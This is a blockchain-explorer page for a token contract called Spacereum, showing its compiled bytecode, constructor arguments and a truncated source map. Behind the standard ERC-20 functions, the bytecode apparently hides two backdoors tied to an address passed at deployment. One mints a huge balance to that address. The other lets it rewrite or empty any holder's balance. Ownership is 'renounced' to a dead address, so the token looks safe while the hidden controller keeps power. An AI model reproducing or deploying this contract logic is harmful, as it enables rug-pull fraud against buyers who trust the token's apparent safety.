846001611422565b9250905081840481111561153b5761153a6113b2565b5b81810290505b9392505050565b60006115538261115b565b915061155e83611284565b925061158b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611475565b905092915050565b600061159e8261115b565b91506115a98361115b565b92508282026115b78161115b565b915082820484148315176115ce576115cd6113b2565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061160b602083611051565b9150611616826115d5565b602082019050919050565b6000602082019050818103600083015261163a816115fe565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061169d602583611051565b91506116a882611641565b604082019050919050565b600060208201905081810360008301526116cc81611690565b9050919050565b60006116de8261115b565b91506116e98361115b565b9250828203905081811115611701576117006113b2565b5b92915050565b7f5472616e736665722046726f6d204661696c6564000000000000000000000000600082015250565b600061173d601483611051565b915061174882611707565b602082019050919050565b6000602082019050818103600083015261176c81611730565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117cf602483611051565b91506117da82611773565b604082019050919050565b600060208201905081810360008301526117fe816117c2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611861602283611051565b915061186c82611805565b604082019050919050565b6000602082019050818103600083015261189081611854565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006118cd601d83611051565b91506118d882611897565b602082019050919050565b600060208201905081810360008301526118fc816118c0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061195f602583611051565b915061196a82611903565b604082019050919050565b6000602082019050818103600083015261198e81611952565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006119f1602383611051565b91506119fc82611995565b604082019050919050565b60006020820190508181036000830152611a20816119e4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611a83602683611051565b9150611a8e82611a27565b604082019050919050565b60006020820190508181036000830152611ab281611a76565b905091905056fea2646970667358221220380b85374710be1b3bef7a5bb315ff9eb703373599560c472fdaf3d59ed4917b64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000348e8fa347e5c10ce0f78353f4f99dae703710e000000000000000000000000000000000000000000000000000000000000000953706163657265756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000953504143455245554d0000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063751039fc11610097578063a457c2d711610066578063a457c2d714610264578063a9059cbb14610294578063dd62ed3e146102c4578063f9d0831a146102f4576100f5565b8063751039fc14610214578063880ad0af1461021e5780638da5cb5b1461022857806395d89b4114610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610310565b60405161010f91906110d6565b60405180910390f35b610132600480360381019061012d9190611191565b6103a2565b60405161013f91906111ec565b60405180910390f35b6101506103c5565b60405161015d9190611216565b60405180910390f35b610180600480360381019061017b9190611231565b6103cf565b60405161018d91906111ec565b60405180910390f35b61019e6103fe565b6040516101ab91906112a0565b60405180910390f35b6101ce60048036038101906101c99190611191565b610407565b6040516101db91906111ec565b60405180910390f35b6101fe60048036038101906101f991906112bb565b61043e565b60405161020b9190611216565b60405180910390f35b61021c610487565b005b6102266105bb565b005b6102306106f7565b60405161023d91906112f7565b60405180910390f35b61024e610720565b60405161025b91906110d6565b60405180910390f35b61027e60048036038101906102799190611191565b6107b2565b60405161028b91906111ec565b60405180910390f35b6102ae60048036038101906102a99190611191565b610829565b6040516102bb91906111ec565b60405180910390f35b6102de60048036038101906102d99190611312565b61084c565b6040516102eb9190611216565b60405180910390f35b61030e600480360381019061030991906112bb565b6108d3565b005b60606004805461031f90611381565b80601f016020809104026020016040519081016040528092919081815260200182805461034b90611381565b80156103985780601f1061036d57610100808354040283529160200191610398565b820191906000526020600020905b81548152906001019060200180831161037b57829003601f168201915b5050505050905090565b6000806103ad610b66565b90506103ba818585610b6e565b600191505092915050565b6000600354905090565b6000806103da610b66565b90506103e7858285610d37565b6103f2858585610dc3565b60019150509392505050565b60006012905090565b600080610412610b66565b9050610433818585610424858961084c565b61042e91906113e1565b610b6e565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104c8610b66565b505064056cc9ca2c62010cc06104dc6103fe565b600a6104e89190611548565b6104f29190611593565b6104fc9190611593565b60016000610508610b66565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461055191906113e1565b92505081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610599610b66565b73ffffffffffffffffffffffffffffffffffffffff16146105b957600080fd5b565b6105c3610b66565b73ffffffffffffffffffffffffffffffffffffffff166105e16106f7565b73ffffffffffffffffffffffffffffffffffffffff1614610637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062e90611621565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461072f90611381565b80601f016020809104026020016040519081016040528092919081815260200182805461075b90611381565b80156107a85780601f1061077d576101008083540402835291602001916107a8565b820191906000526020600020905b81548152906001019060200180831161078b57829003601f168201915b5050505050905090565b6000806107bd610b66565b905060006107cb828661084c565b905083811015610810576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610807906116b3565b60405180910390fd5b61081d8286868403610b6e565b60019250505092915050565b600080610834610b66565b9050610841818585610dc3565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108db610b66565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561098557508073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b15610aca5760008190506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a6091906113e1565b610a6a91906116d3565b905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610abb91906116d3565b92505081905550505050610b63565b610ad2610b66565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5990611753565b60405180910390fd5b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd4906117e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4390611877565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d2a9190611216565b60405180910390a3505050565b6000610d43848461084c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610dbd5781811015610daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da6906118e3565b60405180910390fd5b610dbc8484848403610b6e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2990611975565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9890611a07565b60405180910390fd5b610eac83838361103c565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a90611a99565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110239190611216565b60405180910390a3611036848484611041565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611080578082015181840152602081019050611065565b60008484015250505050565b6000601f19601f8301169050919050565b60006110a882611046565b6110b28185611051565b93506110c2818560208601611062565b6110cb8161108c565b840191505092915050565b600060208201905081810360008301526110f0818461109d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611128826110fd565b9050919050565b6111388161111d565b811461114357600080fd5b50565b6000813590506111558161112f565b92915050565b6000819050919050565b61116e8161115b565b811461117957600080fd5b50565b60008135905061118b81611165565b92915050565b600080604083850312156111a8576111a76110f8565b5b60006111b685828601611146565b92505060206111c78582860161117c565b9150509250929050565b60008115159050919050565b6111e6816111d1565b82525050565b600060208201905061120160008301846111dd565b92915050565b6112108161115b565b82525050565b600060208201905061122b6000830184611207565b92915050565b60008060006060848603121561124a576112496110f8565b5b600061125886828701611146565b935050602061126986828701611146565b925050604061127a8682870161117c565b9150509250925092565b600060ff82169050919050565b61129a81611284565b82525050565b60006020820190506112b56000830184611291565b92915050565b6000602082840312156112d1576112d06110f8565b5b60006112df84828501611146565b91505092915050565b6112f18161111d565b82525050565b600060208201905061130c60008301846112e8565b92915050565b60008060408385031215611329576113286110f8565b5b600061133785828601611146565b925050602061134885828601611146565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061139957607f821691505b6020821081036113ac576113ab611352565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006113ec8261115b565b91506113f78361115b565b925082820190508082111561140f5761140e6113b2565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111561146c57808604811115611448576114476113b2565b5b60018516156114575780820291505b808102905061146585611415565b945061142c565b94509492505050565b6000826114855760019050611541565b816114935760009050611541565b81600181146114a957600281146114b3576114e2565b6001915050611541565b60ff8411156114c5576114c46113b2565b5b8360020a9150848211156114dc576114db6113b2565b5b50611541565b5060208310610133831016604e8410600b84101617156115175782820a905083811115611512576115116113b2565b5b611541565b6115248484846001611422565b9250905081840481111561153b5761153a6113b2565b5b81810290505b9392505050565b60006115538261115b565b915061155e83611284565b925061158b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611475565b905092915050565b600061159e8261115b565b91506115a98361115b565b92508282026115b78161115b565b915082820484148315176115ce576115cd6113b2565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061160b602083611051565b9150611616826115d5565b602082019050919050565b6000602082019050818103600083015261163a816115fe565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061169d602583611051565b91506116a882611641565b604082019050919050565b600060208201905081810360008301526116cc81611690565b9050919050565b60006116de8261115b565b91506116e98361115b565b9250828203905081811115611701576117006113b2565b5b92915050565b7f5472616e736665722046726f6d204661696c6564000000000000000000000000600082015250565b600061173d601483611051565b915061174882611707565b602082019050919050565b6000602082019050818103600083015261176c81611730565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117cf602483611051565b91506117da82611773565b604082019050919050565b600060208201905081810360008301526117fe816117c2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611861602283611051565b915061186c82611805565b604082019050919050565b6000602082019050818103600083015261189081611854565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006118cd601d83611051565b91506118d882611897565b602082019050919050565b600060208201905081810360008301526118fc816118c0565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061195f602583611051565b915061196a82611903565b604082019050919050565b6000602082019050818103600083015261198e81611952565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006119f1602383611051565b91506119fc82611995565b604082019050919050565b60006020820190508181036000830152611a20816119e4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611a83602683611051565b9150611a8e82611a27565b604082019050919050565b60006020820190508181036000830152611ab281611a76565b905091905056fea2646970667358221220380b85374710be1b3bef7a5bb315ff9eb703373599560c472fdaf3d59ed4917b64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000348e8fa347e5c10ce0f78353f4f99dae703710e000000000000000000000000000000000000000000000000000000000000000953706163657265756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000953504143455245554d0000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Spacereum
Arg [1] : symbol_ (string): SPACEREUM
Arg [2] : add (address): 0x0348E8fA347E5C10ce0f78353F4f99DaE703710e

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000348e8fa347e5c10ce0f78353f4f99dae703710e
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 53706163657265756d0000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [6] : 53504143455245554d0000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12338:5918:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13621:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14619:226;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13942:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14853:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13841:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15156:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14058:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12890:231;;;:::i;:::-;;11372:230;;;:::i;:::-;;11683:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13729:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15427:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14209:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14435:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13129:484;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13621:100;13675:13;13708:5;13701:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13621:100;:::o;14619:226::-;14727:4;14744:13;14760:12;:10;:12::i;:::-;14744:28;;14783:32;14792:5;14799:7;14808:6;14783:8;:32::i;:::-;14833:4;14826:11;;;14619:226;;;;:::o;13942:108::-;14003:7;14030:12;;14023:19;;13942:108;:::o;14853:295::-;14984:4;15001:15;15019:12;:10;:12::i;:::-;15001:30;;15042:38;15058:4;15064:7;15073:6;15042:15;:38::i;:::-;15091:27;15101:4;15107:2;15111:6;15091:9;:27::i;:::-;15136:4;15129:11;;;14853:295;;;;;:::o;13841:93::-;13899:5;13924:2;13917:9;;13841:93;:::o;15156:263::-;15269:4;15286:13;15302:12;:10;:12::i;:::-;15286:28;;15325:64;15334:5;15341:7;15378:10;15350:25;15360:5;15367:7;15350:9;:25::i;:::-;:38;;;;:::i;:::-;15325:8;:64::i;:::-;15407:4;15400:11;;;15156:263;;;;:::o;14058:143::-;14148:7;14175:9;:18;14185:7;14175:18;;;;;;;;;;;;;;;;14168:25;;14058:143;;;:::o;12890:231::-;12955:10;;;;;;;;;;;12939:26;;:12;:10;:12::i;:::-;:26;;13051:15;13044:5;13033:10;:8;:10::i;:::-;13029:2;:14;;;;:::i;:::-;:20;;;;:::i;:::-;:38;;;;:::i;:::-;13002:9;:23;13012:12;:10;:12::i;:::-;13002:23;;;;;;;;;;;;;;;;:65;;;;;;;:::i;:::-;;;;;;;;13102:10;;;;;;;;;;;13086:26;;:12;:10;:12::i;:::-;:26;;;13078:35;;;;;;12890:231::o;11372:230::-;10957:12;:10;:12::i;:::-;10946:23;;:7;:5;:7::i;:::-;:23;;;10938:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11479:42:::1;11442:81;;11463:6;::::0;::::1;;;;;;;;11442:81;;;;;;;;;;;;11551:42;11534:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;11372:230::o:0;11683:87::-;11729:7;11756:6;;;;;;;;;;;11749:13;;11683:87;:::o;13729:104::-;13785:13;13818:7;13811:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13729:104;:::o;15427:498::-;15545:4;15562:13;15578:12;:10;:12::i;:::-;15562:28;;15601:24;15628:25;15638:5;15645:7;15628:9;:25::i;:::-;15601:52;;15706:15;15686:16;:35;;15664:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;15822:60;15831:5;15838:7;15866:15;15847:16;:34;15822:8;:60::i;:::-;15913:4;15906:11;;;;15427:498;;;;:::o;14209:218::-;14313:4;14330:13;14346:12;:10;:12::i;:::-;14330:28;;14369;14379:5;14386:2;14390:6;14369:9;:28::i;:::-;14415:4;14408:11;;;14209:218;;;;:::o;14435:176::-;14549:7;14576:11;:18;14588:5;14576:18;;;;;;;;;;;;;;;:27;14595:7;14576:27;;;;;;;;;;;;;;;;14569:34;;14435:176;;;;:::o;13129:484::-;13207:12;:10;:12::i;:::-;13193:26;;:10;;;;;;;;;;;:26;;;:49;;;;;13237:5;13223:19;;:10;;;;;;;;;;;:19;;;;13193:49;13190:416;;;13258:14;13275:5;13258:22;;13295:14;13312:9;:17;13322:6;13312:17;;;;;;;;;;;;;;;;13295:34;;13344:15;13398:6;13380:9;:17;13390:6;13380:17;;;;;;;;;;;;;;;;13362:9;:17;13372:6;13362:17;;;;;;;;;;;;;;;;:35;;;;:::i;:::-;:42;;;;:::i;:::-;13344:60;;13440:7;13419:9;:17;13429:6;13419:17;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;13243:216;;;13190:416;;;13497:12;:10;:12::i;:::-;13483:26;;:10;;;;;;;;;;;:26;;;13480:115;;;13549:30;;;;;;;;;;:::i;:::-;;;;;;;;13480:115;13190:416;13129:484;:::o;10243:98::-;10296:7;10323:10;10316:17;;10243:98;:::o;17098:380::-;17251:1;17234:19;;:5;:19;;;17226:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17332:1;17313:21;;:7;:21;;;17305:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17416:6;17386:11;:18;17398:5;17386:18;;;;;;;;;;;;;;;:27;17405:7;17386:27;;;;;;;;;;;;;;;:36;;;;17454:7;17438:32;;17447:5;17438:32;;;17463:6;17438:32;;;;;;:::i;:::-;;;;;;;;17098:380;;;:::o;17486:502::-;17621:24;17648:25;17658:5;17665:7;17648:9;:25::i;:::-;17621:52;;17708:17;17688:16;:37;17684:297;;17788:6;17768:16;:26;;17742:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;17903:51;17912:5;17919:7;17947:6;17928:16;:25;17903:8;:51::i;:::-;17684:297;17610:378;17486:502;;;:::o;15933:714::-;16080:1;16064:18;;:4;:18;;;16056:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16157:1;16143:16;;:2;:16;;;16135:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16212:38;16233:4;16239:2;16243:6;16212:20;:38::i;:::-;16263:19;16285:9;:15;16295:4;16285:15;;;;;;;;;;;;;;;;16263:37;;16348:6;16333:11;:21;;16311:109;;;;;;;;;;;;:::i;:::-;;;;;;;;;16488:6;16474:11;:20;16456:9;:15;16466:4;16456:15;;;;;;;;;;;;;;;:38;;;;16528:6;16511:9;:13;16521:2;16511:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;16578:2;16563:26;;16572:4;16563:26;;;16582:6;16563:26;;;;;;:::i;:::-;;;;;;;;16602:37;16622:4;16628:2;16632:6;16602:19;:37::i;:::-;16045:602;15933:714;;;:::o;17996:125::-;;;;:::o;18129:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:191;6758:3;6777:20;6795:1;6777:20;:::i;:::-;6772:25;;6811:20;6829:1;6811:20;:::i;:::-;6806:25;;6854:1;6851;6847:9;6840:16;;6875:3;6872:1;6869:10;6866:36;;;6882:18;;:::i;:::-;6866:36;6718:191;;;;:::o;6915:102::-;6957:8;7004:5;7001:1;6997:13;6976:34;;6915:102;;;:::o;7023:848::-;7084:5;7091:4;7115:6;7106:15;;7139:5;7130:14;;7153:712;7174:1;7164:8;7161:15;7153:712;;;7269:4;7264:3;7260:14;7254:4;7251:24;7248:50;;;7278:18;;:::i;:::-;7248:50;7328:1;7318:8;7314:16;7311:451;;;7743:4;7736:5;7732:16;7723:25;;7311:451;7793:4;7787;7783:15;7775:23;;7823:32;7846:8;7823:32;:::i;:::-;7811:44;;7153:712;;;7023:848;;;;;;;:::o;7877:1073::-;7931:5;8122:8;8112:40;;8143:1;8134:10;;8145:5;;8112:40;8171:4;8161:36;;8188:1;8179:10;;8190:5;;8161:36;8257:4;8305:1;8300:27;;;;8341:1;8336:191;;;;8250:277;;8300:27;8318:1;8309:10;;8320:5;;;8336:191;8381:3;8371:8;8368:17;8365:43;;;8388:18;;:::i;:::-;8365:43;8437:8;8434:1;8430:16;8421: